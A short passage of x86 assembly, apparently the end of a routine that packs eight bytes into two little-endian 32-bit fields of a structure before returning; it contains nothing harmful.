mov dword [edi + 0x2c], ecx
mov dword [edi + 0x34], 0
movzx ecx, byte [edx + 3]
movzx eax, byte [edx + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x38], ecx
movzx ecx, byte [edx + 7]
movzx eax, byte [edx + 6]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 5]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 4]
shl ecx, 8
or ecx, eax
mov eax, edi
mov dword [edi + 0x3c], ecx
pop edi
pop esi
pop ebp
ret 8